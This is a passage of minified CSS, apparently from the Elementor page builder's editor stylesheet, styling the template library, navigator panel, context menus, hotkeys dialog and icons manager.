.ui-resizable-s:hover:before{background-color:hsla(0,0%,100%,.6);width:100px}#elementor-preview-responsive-wrapper .ui-resizable-e,#elementor-preview-responsive-wrapper .ui-resizable-w{align-items:center;justify-content:center;width:20px}#elementor-preview-responsive-wrapper .ui-resizable-e:before,#elementor-preview-responsive-wrapper .ui-resizable-w:before{content:"";display:block;background-color:hsla(0,0%,100%,.2);width:4px;height:50px;border-radius:3px;transition:all .2s ease-in-out}#elementor-preview-responsive-wrapper .ui-resizable-e:hover:before,#elementor-preview-responsive-wrapper .ui-resizable-w:hover:before{background-color:hsla(0,0%,100%,.6);height:100px}#elementor-preview-responsive-wrapper.ui-resizable-resizing .ui-resizable-handle:before{background-color:hsla(0,0%,100%,.9)}#elementor-preview-responsive-wrapper .ui-resizable-s{bottom:0}#elementor-preview-responsive-wrapper .ui-resizable-e{right:0}#elementor-preview-responsive-wrapper .ui-resizable-w{left:0}#elementor-preview-iframe{width:100%;height:100%;background-color:#fff;box-shadow:0 0 3px rgba(0,0,0,.3),0 0 20px rgba(0,0,0,.15)}#elementor-template-library-modal a.elementor-template-library-blank-footer-link{font-style:normal;text-decoration:underline}#elementor-template-library-modal .dialog-buttons-wrapper{display:none}#elementor-template-library-modal .select2-container{z-index:0}#elementor-template-library-modal .dialog-message{overflow-y:scroll}#elementor-template-library-header-menu{text-align:center}.elementor-template-library-menu-item{display:inline-block;padding:17px 20px;border-block-end:3px solid transparent;cursor:pointer}.elementor-template-library-menu-item:hover{background-color:var(--e-a-bg-hover);border-color:var(--e-a-bg-hover)}.elementor-template-library-menu-item.elementor-active{border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}#elementor-template-library-header-actions{display:flex}#elementor-template-library-header-actions>div{padding-inline-end:16px}#elementor-template-library-header-preview-insert-wrapper{cursor:default;padding:0 10px}.elementor-template-library-template-insert+.elementor-template-library-template-generate-variation{margin-inline-start:4px}#elementor-template-library-header-preview-back{padding-block:16.5px 15px;padding-inline:0 16.5px;border-inline-end:var(--e-a-border);cursor:pointer;transition:color .5s}#elementor-template-library-header-preview-back:hover{color:var(--e-a-color-txt-hover)}#elementor-template-library-header-preview-back i{padding-inline-end:10px;font-size:18px}#elementor-template-library-header-preview-back i:before{content:"\e87e"}#elementor-template-library-templates[data-template-source=local] #elementor-template-library-templates-container{margin-block-start:10px;margin-block-end:45px;border-block-start:var(--e-a-border)}#elementor-template-library-templates[data-template-source=local] .elementor-template-library-order-input:checked+.elementor-template-library-order-label{color:var(--e-a-color-txt-active)}#elementor-template-library-templates[data-template-source=remote] #elementor-template-library-templates-container{margin:10px -15px 0}#elementor-template-library-templates[data-template-source=remote] .elementor-template-library-order-input:checked+.elementor-template-library-order-label{color:var(--e-a-color-txt-active)}#elementor-template-library-templates .elementor-template-library-order-input,#elementor-template-library-templates.elementor-templates-filter-active #elementor-template-library-footer-banner,#elementor-template-library-templates[data-template-source=empty] #elementor-template-library-footer-banner,#elementor-template-library-templates[data-template-source=empty] #elementor-template-library-order-toolbar-local{display:none}#elementor-template-library-templates .elementor-template-library-order-input:checked+.elementor-template-library-order-label{padding-inline-end:8px}#elementor-template-library-templates .elementor-template-library-order-input:checked+.elementor-template-library-order-label:after{font-family:eicons;content:"\e8ae";margin-inline-start:3px}#elementor-template-library-templates .elementor-template-library-order-input:checked.elementor-template-library-order-reverse+.elementor-template-library-order-label:after{content:"\e8ad"}#elementor-template-library-templates-container{display:flex;flex-wrap:wrap;align-items:flex-start}#elementor-template-library-toolbar{display:flex;justify-content:space-between;align-items:center}.elementor-template-library-filter-toolbar{display:flex;align-items:center}#elementor-template-library-filter-toolbar-remote{font-size:11px}#elementor-template-library-order{display:flex;border-inline-end:var(--e-a-border)}.elementor-template-library-order-label{text-transform:uppercase;padding-inline-end:22px;-webkit-user-select:none;-moz-user-select:none;user-select:none}label.elementor-template-library-order-label{cursor:pointer}label.elementor-template-library-order-label:hover{color:var(--e-a-color-txt-hover)}#elementor-template-library-filter .select2{text-align:start;width:calc(27px * 5)!important}#elementor-template-library-filter .select2-selection__rendered{text-transform:capitalize}#select2-elementor-template-library-filter-subtype-results .select2-results__option{text-transform:capitalize;text-align:start;padding-inline-start:5px}#elementor-template-library-my-favorites{flex-grow:1;text-align:start;padding-inline-start:20px}#elementor-template-library-filter-my-favorites{display:none}#elementor-template-library-filter-my-favorites:checked+#elementor-template-library-filter-my-favorites-label{color:var(--e-a-color-txt-active)}#elementor-template-library-filter-my-favorites:checked+#elementor-template-library-filter-my-favorites-label i:after{color:var(--e-a-color-primary-bold);content:"\e93f"}#elementor-template-library-filter-my-favorites-label{cursor:pointer;text-transform:uppercase}#elementor-template-library-filter-my-favorites-label:hover{color:var(--e-a-color-txt-hover)}#elementor-template-library-filter-my-favorites-label:hover i:after{color:var(--e-a-color-primary-bold)}#elementor-template-library-filter-my-favorites-label i{padding-inline-end:5px}#elementor-template-library-filter-my-favorites-label i:after{content:"\e923"}#elementor-template-library-filter-text-wrapper{width:200px;position:relative}#elementor-template-library-filter-text-wrapper i{position:absolute;top:50%;right:0;transform:translateY(-50%)}#elementor-template-library-filter-text{border:none;border-block-end:var(--e-a-border-bold);border-radius:0;font-size:11px;padding:8px 15px 8px 0;transition:border .5s}#elementor-template-library-filter-text:focus{border-color:var(--e-a-border-color-focus)}#elementor-template-library-filter-text::-moz-placeholder{font-weight:300;text-transform:uppercase}#elementor-template-library-filter-text::placeholder{font-weight:300;text-transform:uppercase}.elementor-template-library-template-remote{margin:calc(30px / 2);padding:8px;border:var(--e-a-border);border-radius:3px}.elementor-template-library-template-remote:hover{background-color:var(--e-a-bg-hover)}.elementor-template-library-template-remote:hover .elementor-template-library-template-name{display:none}.elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-preview{opacity:0}.elementor-template-library-template-remote:not(:hover) .elementor-template-library-favorite,.elementor-template-library-template-remote:not(:hover) .elementor-template-library-template-action{display:none}.elementor-template-library-template-remote.elementor-template-library-pro-template .elementor-template-library-template-body:before{content:var(--elementor-template-library-subscription-plan-label);background-color:var(--e-a-color-accent);color:var(--e-a-color-white);position:absolute;text-transform:uppercase;line-height:1;top:5px;right:5px;padding:3px 5px;font-size:8px;border-radius:2px}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp){position:relative;width:calc(33.333% - 30px);overflow:hidden}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) img{display:block;width:100%}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-footer{position:absolute;width:100%;bottom:0;left:0;padding:10px;background-color:var(--e-a-bg-default);transition:transform .5s}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp) .elementor-template-library-template-name{display:none}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp):not(:hover) .elementor-template-library-template-footer{transform:translateY(100%)}.elementor-template-library-template-remote .elementor-template-library-template-body{position:relative}@media (max-width:1025px){.elementor-template-library-template-remote .elementor-template-library-template-body{height:300px}}.elementor-template-library-template-remote .elementor-template-library-template-screenshot{height:100%;background-size:cover;background-position-x:50%;box-shadow:inset 0 -2px 15px -6px rgba(0,0,0,.07)}.elementor-template-library-template-remote .elementor-template-library-template-preview{position:absolute;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,0,.5);transition:opacity .5s;cursor:pointer}.elementor-template-library-template-remote .elementor-template-library-template-preview i{font-size:20px;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-template-library-template-remote .elementor-template-library-template-footer{display:flex;justify-content:space-between;font-size:11px;line-height:1;height:40px;align-items:center}.elementor-template-library-template-remote .elementor-template-library-template-name{text-align:start;flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-end:5px}.elementor-template-library-template-remote .elementor-template-library-favorite{margin-inline-start:auto}.elementor-template-library-template-remote .elementor-template-library-template-favorite-input{display:none}.elementor-template-library-template-remote .elementor-template-library-template-favorite-input:checked+.elementor-template-library-template-favorite-label i:before{content:"\e93f";color:var(--e-a-color-primary-bold)}.elementor-template-library-template-remote .elementor-template-library-template-favorite-label{font-size:15px;cursor:pointer}.elementor-template-library-template-remote .elementor-template-library-template-favorite-label:hover i{color:var(--e-a-color-primary-bold)}@media (max-width:1439px){.elementor-template-library-template-lp,.elementor-template-library-template-page{width:calc(25% - 30px)}}@media (min-width:1440px){.elementor-template-library-template-lp,.elementor-template-library-template-page{width:calc(20% - 30px)}}@media (max-width:1025px){.elementor-template-library-template-lp,.elementor-template-library-template-page{width:calc(33.333% - 30px)}}.elementor-template-library-template-lp .elementor-template-library-template-body,.elementor-template-library-template-page .elementor-template-library-template-body{height:200px}#elementor-template-library-order-toolbar-local,.elementor-template-library-template-local{display:flex;align-items:center;padding:0 25px;text-align:start}#elementor-template-library-order-toolbar-local{margin-block-start:30px}#elementor-template-library-order-toolbar-local .elementor-template-library-order-label{line-height:1;font-size:10px;font-weight:500}.elementor-template-library-template-local{height:50px;width:100%;margin-block-start:1px;transition:background-color .3s linear}.elementor-template-library-template-local:hover{background-color:var(--e-a-bg-hover)}.elementor-template-library-template-local:first-child{border-start-start-radius:3px;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:0}.elementor-template-library-template-local:last-child{border-start-start-radius:0;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:3px}.elementor-template-library-template-local .elementor-template-library-template-name{font-weight:500}.elementor-template-library-template-local .elementor-template-library-template-meta,.elementor-template-library-template-local .elementor-template-library-template-name{padding-inline-end:20px}.elementor-template-library-template-local .elementor-template-library-template-action,.elementor-template-library-template-local .elementor-template-library-template-meta,.elementor-template-library-template-local .elementor-template-library-template-name,.elementor-template-library-template-local .elementor-template-library-template-preview{white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-template-library-template-local .elementor-template-library-template-controls{position:relative;display:flex;align-items:center}.elementor-template-library-template-local .elementor-template-library-template-controls>div{cursor:pointer;transition:color .5s}.elementor-template-library-template-local .elementor-template-library-template-insert i{margin-inline-end:3px}.elementor-template-library-template-local .elementor-template-library-template-control-title{margin-inline-start:6px}.elementor-template-library-template-local .elementor-template-library-template-more .elementor-template-library-template-delete:hover{color:var(--e-a-color-danger)}.elementor-template-library-template-local .elementor-template-library-template-more{display:none;position:absolute;background-color:var(--e-a-bg-default);padding:3px 20px;border-radius:var(--e-a-border-radius);box-shadow:1px 3px 11px rgba(0,0,0,.3);top:100%;right:0;transform:translateX(65%) translateY(-7px);z-index:1}.elementor-template-library-template-local .elementor-template-library-template-more:before{content:"";position:absolute;border:solid transparent;border-width:8px 4px;border-block-end-color:var(--e-a-color-white);transform:translateY(-100%)}.elementor-template-library-template-local .elementor-template-library-template-more>div{margin:10px 0;font-size:11px}.elementor-template-library-template-local .elementor-template-library-template-more a{color:var(--e-a-color-txt)}.elementor-template-library-template-local .elementor-template-library-template-more-toggle{flex-grow:1;text-align:end}.elementor-template-library-template-local .elementor-template-library-template-more-toggle i{font-size:16px}#elementor-template-library-preview{height:100%;overflow:hidden}#elementor-template-library-preview iframe{height:150%;transform:scale(.666) translateX(-25%) translateY(-25%)}@media (max-width:1439px){#elementor-template-library-preview iframe{width:1440px}}@media (min-width:1440px){#elementor-template-library-preview iframe{width:1730px}}.elementor-template-library-blank-icon{font-size:64px;margin-block-start:45px;line-height:1}.elementor-template-library-blank-icon img{width:70px}.elementor-template-library-blank-icon .elementor-template-library-no-results{width:200px}.elementor-template-library-blank-title{font-size:30px;margin-block-start:20px}@media (max-width:1439px){.elementor-template-library-blank-title{font-size:25px}}.elementor-template-library-blank-message{font-size:18px;margin-block-start:15px;font-weight:300}@media (max-width:1439px){.elementor-template-library-blank-message{font-size:16px;margin-block-start:10px}}#elementor-template-library-save-template-form{margin-block-start:40px;display:flex;align-items:center;justify-content:center}#elementor-template-library-save-template-form>*{height:55px;font-size:16px}#elementor-template-library-save-template-name{width:500px;padding-inline-start:25px;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0}#elementor-template-library-save-template-submit{width:150px;border-start-start-radius:0;border-start-end-radius:3px;border-end-start-radius:0;border-end-end-radius:3px}#elementor-template-library-import-form{width:95%;padding:60px;border:2px dashed var(--e-a-border-color-bold);margin:35px auto;transition:var(--e-a-transition-hover)}#elementor-template-library-import-form-or{margin-block-start:15px;font-size:18px}#elementor-template-library-import-form-label{margin-block-start:20px;padding:15px 35px;display:inline-block}#elementor-template-library-import-form-input{display:none}#elementor-template-library-import-form.elementor-drag-over{border-color:var(--e-a-color-primary)}#elementor-template-library-import .elementor-template-library-blank-icon{margin-block-start:0}#elementor-template-library-import .elementor-template-library-blank-message{margin-block-start:20px}.e-route-library-connect #elementor-template-library-modal .dialog-message{max-height:95vh;padding:100px 0 0;min-height:550px}#elementor-template-library-connect-logo{font-size:20px}#elementor-template-library-connect__button{display:inline-block;position:relative;z-index:1;margin-block-start:25px;padding:12px 24px;font-size:14px}#elementor-template-library-connect__background-image-left-1{right:22.4%;bottom:-29%;animation:fadeIn 1.5s,slideDown 1.5s,mover 3.5s 1.5s infinite alternate}#elementor-template-library-connect__background-image-left-2{right:46.25%;bottom:-15.5%;animation:fadeIn 3s,slideDown 3s,mover 2s 3s infinite alternate}#elementor-template-library-connect__background-image-right-1{left:37%;bottom:-41%;animation:fadeIn 2.5s,slideDown 2.5s,mover 2s 2.5s infinite alternate}#elementor-template-library-connect__background-image-right-2{left:48%;bottom:-12.5%;animation:fadeIn 1.5s,slideDown 1.5s,mover 1.5s 1.5s infinite alternate}.elementor-template-library-connect__background-image{position:absolute}.elementor-template-library-blank-footer{position:absolute;bottom:70px;left:50%;transform:translateX(-50%);font-style:italic;color:var(--e-a-color-txt-muted)}@media (max-height:700px){.elementor-template-library-blank-footer{display:none}}#elementor-template-library-footer-banner{padding-block-end:45px}#elementor-template-library-footer-banner i{font-size:56px;margin-block-start:40px}#elementor-template-library-footer-banner .elementor-nerd-box-icon{margin-block-start:70px}#elementor-template-library-templates-empty{width:100%;margin-block-start:40px}#elementor-template-library-error-dialog .dialog-message{text-align:start}#elementor-template-library-error-info{margin-block-start:10px}@media (max-width:1439px){.elementor-template-library-local-column-1{width:33%}.elementor-template-library-local-column-2{width:10%}.elementor-template-library-local-column-3,.elementor-template-library-local-column-4{width:15%}.elementor-template-library-local-column-5{width:27%}}@media (min-width:1440px){.elementor-template-library-local-column-1{width:25%}.elementor-template-library-local-column-2,.elementor-template-library-local-column-3,.elementor-template-library-local-column-4{width:17%}.elementor-template-library-local-column-5{width:24%}}@media (max-width:1024px){.elementor-template-library-local-column-3{display:none}.elementor-template-library-local-column-5{width:41%}}.elementor-tags-list{display:none;position:absolute;width:260px;max-height:300px;overflow:auto;padding-block-end:5px;background-color:var(--e-a-bg-default);box-shadow:var(--e-a-popover-shadow);border:var(--e-a-border);border-radius:3px;z-index:10000}.elementor-tags-list__group-title{font-weight:700;font-size:12px;padding:10px 15px;display:flex;align-items:center}.elementor-tags-list__group-title .eicon-info-circle{padding-inline-end:5px;color:var(--e-a-color-primary-bold);font-size:14px}.elementor-tags-list__item{font-size:10px;padding:6px 15px;cursor:pointer}.elementor-tags-list__item:before{content:">";font-size:8px;padding-inline-end:5px}.elementor-tags-list__item:hover{background-color:var(--e-a-bg-hover)}.elementor-tags-list__teaser{border-block-start:2px solid var(--e-a-border-color);padding-block-start:4px;margin-block-start:4px}.elementor-tags-list__teaser-text{padding:2px 15px 8px;line-height:1.5;font-size:12px}.elementor-tags-list__teaser-link{color:var(--e-a-color-primary-bold);text-decoration:underline;font-style:italic;font-weight:700}.elementor-dynamic-cover{display:flex;align-items:center;width:100%;height:27px;box-sizing:border-box}.elementor-dynamic-cover__title{padding:0 8px;flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-dynamic-cover__remove,.elementor-dynamic-cover__settings{cursor:pointer;transition:var(--e-a-transition-hover)}.elementor-dynamic-cover__remove:hover,.elementor-dynamic-cover__settings:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-wysiwyg .elementor-dynamic-cover{margin-block-start:10px}.elementor-tag-settings-popup{position:absolute;width:260px;background-color:var(--e-a-bg-default);border:var(--e-a-border);box-shadow:var(--e-a-popover-shadow);z-index:1}.elementor-tag-settings-popup:before{content:"";position:absolute;top:-20px;left:5px;border:10px solid transparent;border-block-end-color:var(--e-a-border-color)}.elementor-tag-settings-popup .elementor-control-type-section:first-child{margin:0}.elementor-tag-controls-stack-empty{background-color:var(--e-a-bg-default);padding:10px;font-size:13px;text-align:center}.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-dynamic-switcher{display:inline-flex;align-items:center;justify-content:center;flex-shrink:0;height:27px;cursor:pointer;border:var(--e-a-border-bold);background:var(--e-a-bg-default);border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius);border-end-start-radius:0;transition:var(--e-a-transition-hover)}.elementor-control-dynamic-switcher:hover{background-color:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.elementor-control-dynamic-switcher.e-control-tool{height:20px;border:0}.elementor-control-dynamic-switcher-wrapper{display:flex}.elementor-control-dynamic-switcher .eicon-database{font-size:12px}.elementor-control-dynamic-value .e-global__popover-toggle,.elementor-control-dynamic-value .elementor-control-dynamic-switcher,.elementor-control-dynamic-value .elementor-control-tag-area{display:none}.elementor-context-menu{position:absolute;width:250px;padding:5px 0;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);box-shadow:var(--e-a-popover-shadow);-webkit-user-select:none;-moz-user-select:none;user-select:none;z-index:101}.elementor-context-menu-list,.elementor-context-menu-list__group{display:flex;flex-direction:column}.elementor-context-menu-list__group:not(:last-child){border-block-end:var(--e-a-border)}.elementor-context-menu-list__item{padding:12px 20px;display:flex;gap:16px;cursor:pointer;transition:var(--e-a-transition-hover);align-items:center}.elementor-context-menu-list__item--disabled{cursor:default;opacity:.5;color:var(--e-a-color-disabled)}.elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):focus,.elementor-context-menu-list__item:not(.elementor-context-menu-list__item--disabled):hover{background-color:var(--e-a-bg-hover);color:var(--e-a-color-hover)}.elementor-context-menu-list__item__icon{display:none;width:20px}.elementor-context-menu-list__item__title{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-context-menu-list__item__shortcut{color:var(--e-a-color-txt-muted)}.elementor-context-menu-list__item__shortcut--link-fullwidth{position:absolute;left:0;top:0;width:100%;height:100%;z-index:2;cursor:pointer}.elementor-context-menu-list__item__shortcut,.elementor-context-menu-list__item__title{font-size:14px;font-style:normal;font-weight:400;line-height:1;position:relative}.elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):focus>*,.elementor-context-menu-list__item.elementor-context-menu-list__item-delete:not(.elementor-context-menu-list__item--disabled):hover>*{color:var(--e-global-color-danger)}.elementor-context-menu-list__item.elementor-hidden{display:none}.elementor-context-menu .eicon-pro-icon{color:var(--e-global-color-accent)}#elementor-hotkeys{text-align:start}#elementor-hotkeys__modal .dialog-buttons-wrapper{display:none}#elementor-hotkeys__content{display:flex;justify-content:space-between;gap:70px;padding:20px 30px;width:100%;overflow:hidden}@media (max-width:1024px){#elementor-hotkeys__content{flex-direction:column;gap:20px;padding:20px}}.elementor-hotkeys__col{display:flex;flex-direction:column;gap:20px;width:100%}.elementor-hotkeys__header{font-weight:500}.elementor-hotkeys__item{display:flex;align-items:center;padding:20px 10px}.elementor-hotkeys__item:not(:last-child){border-block-end:var(--e-a-border)}.elementor-hotkeys__item--label{font-size:13px;font-weight:400;flex-grow:1}.elementor-hotkeys__item--shortcut{flex-grow:0;display:flex;gap:27px}@media (max-width:1024px){.elementor-hotkeys__item--shortcut{gap:23px}}.elementor-hotkeys__item--shortcut kbd{position:relative;font-family:unset;background-color:var(--e-a-bg-active);padding:5px 12px;border-radius:var(--e-a-border-radius)}@media (max-width:1024px){.elementor-hotkeys__item--shortcut kbd{padding:4px 9px}}.elementor-hotkeys__item--shortcut kbd:not(:last-of-type):after{content:"+";position:absolute;right:0;width:9px;text-align:center;margin-inline-end:-18px}@media (max-width:1024px){.elementor-hotkeys__item--shortcut kbd:not(:last-of-type):after{margin-inline-end:-16px}}.elementor-template-library-template-remote:not(.elementor-template-library-template-page):not(.elementor-template-library-template-lp).elementor-template-library-template-floating_button{margin-top:0!important;width:calc(25% - 30px)}.ui-resizable-n{top:-5px}.ui-resizable-e{right:-5px}.ui-resizable-s{bottom:-5px}.ui-resizable-w{left:-5px}.ui-resizable-ne{top:-5px;right:-5px}.ui-resizable-nw{top:-5px;left:-5px}.ui-resizable-se{bottom:-5px;right:-5px}.ui-resizable-sw{bottom:-5px;left:-5px}.ui-resizable-n,.ui-resizable-s{left:0;height:10px;width:100%;cursor:ns-resize}.ui-resizable-e,.ui-resizable-w{top:0;height:100%;width:10px;cursor:ew-resize}.ui-resizable-ne,.ui-resizable-nw,.ui-resizable-se,.ui-resizable-sw{height:15px;width:15px}.ui-resizable-nw,.ui-resizable-se{cursor:nwse-resize}.ui-resizable-ne,.ui-resizable-sw{cursor:nesw-resize}.ui-resizable-handle{position:absolute}.ui-resizable-resizing{pointer-events:none}body{--e-editor-navigator-width:240px;--e-editor-navigator-promotion-height:30px}#elementor-navigator{position:fixed;top:100px;width:var(--e-editor-navigator-width);height:50vh;right:30px;background-color:var(--e-a-bg-default);border:var(--e-a-border);box-shadow:0 2px 20px 0 rgba(0,0,0,.1);-webkit-user-select:none;-moz-user-select:none;user-select:none;overflow:hidden;z-index:100;display:none}body.elementor-navigator-docked #elementor-navigator{top:0;right:0;height:100%}body:not(.elementor-navigator-docked) #elementor-navigator{border-radius:5px}#elementor-navigator__inner{height:100%;display:flex;flex-direction:column}#elementor-navigator__header{display:flex;align-items:stretch;border-block-end:var(--e-a-border);color:var(--e-a-color-txt-accent)}#elementor-navigator__header__title{flex:1;text-align:center;font-size:13px;font-weight:400;padding:10px 0;cursor:move}#elementor-navigator__ai-titles+#elementor-navigator__header__title,iframe+#elementor-navigator__header__title{padding-inline-end:17.5px}#elementor-navigator__ai-titles{width:35px;text-align:center;cursor:pointer;background-color:transparent;border:none;outline:none}#elementor-navigator__ai-titles:hover{color:#e73cf6}#elementor-navigator__close,#elementor-navigator__toggle-all{color:var(--e-a-color-txt);background-color:transparent;border:none;outline:0;padding:10px;cursor:pointer;transition:color .5s}#elementor-navigator__close:hover,#elementor-navigator__toggle-all:hover{color:var(--e-a-color-txt-hover)}#elementor-navigator__close:focus,#elementor-navigator__toggle-all:focus{color:var(--e-a-color-txt-active)}#elementor-navigator__toggle-all{font-size:13px}#elementor-navigator__close{font-size:11px}#elementor-navigator__elements{flex-grow:1;overflow:auto;position:relative}.elementor-navigator-docked #elementor-navigator__elements{height:calc(100% - 35px)}#elementor-navigator__elements .elementor-nerd-box{padding:25px}#elementor-navigator__elements>.elementor-navigator__element-section{border-block-end:var(--e-a-border)}#elementor-navigator__footer{width:100%;text-align:center}#elementor-navigator__footer__resize-bar{border-block-start:var(--e-a-border)}.elementor-navigator-docked #elementor-navigator__footer__resize-bar{display:none}#elementor-navigator__footer__promotion{font-size:12px;padding:4px 17px;font-family:Roboto,sans-serif;color:var(--e-a-bg-logo);min-height:var(--e-editor-navigator-promotion-height);display:flex;justify-content:center;align-items:center}#elementor-navigator__footer__promotion a{color:var(--e-a-color-accent-promotion);margin-inline-start:1px}.elementor-navigator__item{position:relative;display:flex;height:30px;cursor:pointer;transition:padding .5s linear;overflow:hidden}.elementor-navigator__item:focus,.elementor-navigator__item:hover{background-color:var(--e-a-bg-hover)}.elementor-navigator__item:active{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent)}.elementor-navigator__item[data-locked=true]{cursor:not-allowed}.elementor-navigator__item:not(.elementor-active) .elementor-navigator__element__list-toggle i{transform:rotate(-90deg)}.elementor-navigator__item>*{display:flex;align-items:center}.elementor-navigator__item+.elementor-navigator__elements{display:none}.elementor-navigator__elements>.elementor-navigator__element-container:not(:last-child),.elementor-navigator__elements>.elementor-navigator__element-section{border-block-end:var(--e-a-border)}.elementor-navigator__elements .elementor-empty-view{padding:10px}.elementor-navigator__elements .elementor-empty-view__title{margin-inline-start:23px;font-size:10px;font-style:italic}.elementor-navigator__elements .ui-sortable-helper{box-shadow:1px 2px 5px 0 rgba(0,0,0,.1);transform:rotate(4deg);background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent);pointer-events:none}.elementor-navigator__elements .ui-sortable-placeholder{background-color:var(--e-a-bg-hover)}.elementor-navigator__element.elementor-dragging-on-child>.elementor-navigator__elements>.elementor-empty-view{border-block-start:var(--e-a-border)}.elementor-navigator__element.elementor-dragging-on-child>.elementor-navigator__elements>.elementor-empty-view+.ui-sortable-placeholder,.elementor-navigator__element.elementor-dragging-on-child>.elementor-navigator__elements>.elementor-empty-view .elementor-empty-view__title{display:none}.elementor-navigator__element:not(.elementor-navigator__element--has-children) .elementor-navigator__element__list-toggle{visibility:hidden}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item .elementor-navigator__element__toggle{color:var(--e-a-color-txt-default)}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item .elementor-navigator__element__toggle:hover{color:var(--e-a-color-txt-hover)}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item:not(:hover) .elementor-navigator__element__toggle{display:none}.elementor-navigator__element:not(.elementor-navigator__element--hidden)>.elementor-navigator__item.elementor-editing{background-color:var(--e-a-bg-active)}.elementor-navigator__element__list-toggle{margin-inline-end:7px;transition:transform .3s}.elementor-navigator__element__element-type{margin-inline-end:8px;font-size:14px}.elementor-navigator__element__title{flex-grow:1;overflow:hidden}.elementor-navigator__element__title__text{white-space:nowrap;-webkit-user-select:text;-moz-user-select:text;user-select:text}.elementor-navigator__element__title__text[contenteditable=true]{outline:none;background-color:var(--e-a-bg-hover);padding:var(--e-admin-border-radius);border:var(--e-a-border)}.elementor-navigator__element__title__text:not([contenteditable=true]){padding:3px 0;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-navigator__element__toggle{position:absolute;right:15px;height:100%;z-index:0;font-size:13px}.elementor-navigator__element__indicators{position:relative;transition:transform .5s;padding-inline-start:5px;z-index:91}.elementor-navigator__element__indicators:not(:hover){transform:translateX(calc(100% - 8px))}.elementor-navigator__element__indicator{height:100%;width:31px;display:inline-flex;align-items:center;justify-content:center;color:var(--e-a-color-txt);background-color:var(--e-a-bg-default);border-inline-start:var(--e-a-border)}.elementor-navigator__element__indicator:first-child{border-inline-start:3px solid var(--e-a-border-color-accent)}.elementor-editing .elementor-navigator__element__indicator:first-child{border-color:#242729}.elementor-navigator__element__indicator:hover{color:var(--e-a-color-txt-hover)}.elementor-navigator__element--hidden .elementor-navigator__element__title,.elementor-navigator__element--hidden .elementor-navigator__element__toggle{opacity:.5}.elementor-navigator__promotion-text{line-height:18px}.e-notice-bar{position:absolute;width:100%;bottom:0;display:flex;align-items:center;height:40px;color:#fff;background-color:var(--e-a-color-accent);padding:0 25px}.e-notice-bar__message a{text-decoration:underline;color:var(--e-a-color-txt-invert)}.e-notice-bar__message a:hover{color:#d5d8dc}.e-notice-bar__primary_action{margin-inline:12px}.e-notice-bar__primary_action a{background:#fff;border-radius:3px;color:#93003f;padding:4px 10px;font-size:11px}.e-notice-bar__primary_action a:hover{color:#47001e;background:#f1f2f3}.e-notice-bar__secondary_action,.e-notice-bar__secondary_message{font-size:11px}.e-notice-bar__secondary_action{margin-inline:4px}.e-notice-bar__secondary_action a{color:#fff;text-decoration:underline}.e-notice-bar__secondary_action a:hover{color:#f1f2f3}.e-notice-bar__close{cursor:pointer;margin-inline-start:auto}.e-notice-bar__icon{margin-inline-end:8px}.e-notice-bar i{font-size:16px;opacity:.9}.e-notice-bar i:hover{color:#d5d8dc}.e-notice-bar a,.e-notice-bar i{transition:var(--e-a-transition-hover)}body:not(.elementor-device-desktop) #e-notice-bar{display:none}#elementor-fatal-error-dialog .dialog-message a{text-decoration:underline}#elementor-preview-debug-link-text{display:inline-block}#elementor-icons-manager-modal .dialog-message{padding:0;height:700px}#elementor-icons-manager-modal .dialog-content,#elementor-icons-manager__wrapper{display:flex}@media (max-width:479px){#elementor-icons-manager__sidebar{display:none}}#elementor-icons-manager__tab-links{margin-block-start:30px}#elementor-icons-manager__upload{margin:20px 45px;padding-block-start:35px;border-block-start:var(--e-a-border);display:flex;align-items:center;justify-content:space-between}@media (max-width:1439px){#elementor-icons-manager__upload{margin:20px 25px}}#elementor-icons-manager__main{display:flex;flex-direction:column;padding:30px 80px 0}@media (max-width:1439px){#elementor-icons-manager__main{padding:30px 50px 0}}@media (max-width:479px){#elementor-icons-manager__main{width:100%}}#elementor-icons-manager__search{position:relative}#elementor-icons-manager__search input{padding:8px 15px;background-color:transparent}#elementor-icons-manager__search i{position:absolute;top:50%;transform:translateY(-50%);right:15px}#elementor-icons-manager__tab__wrapper{overflow:auto;margin:25px -15px 0;padding:0 15px 15px}#elementor-icons-manager__tab__title{color:var(--e-a-color-txt);font-size:16px;font-weight:500;text-align:start}@media (max-width:479px){#elementor-icons-manager__tab__title{display:none}}#elementor-icons-manager__tab__content{display:grid;grid-template-columns:repeat(7,1fr);grid-gap:20px;margin:20px 0}@media (max-width:1439px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(6,1fr)}}@media 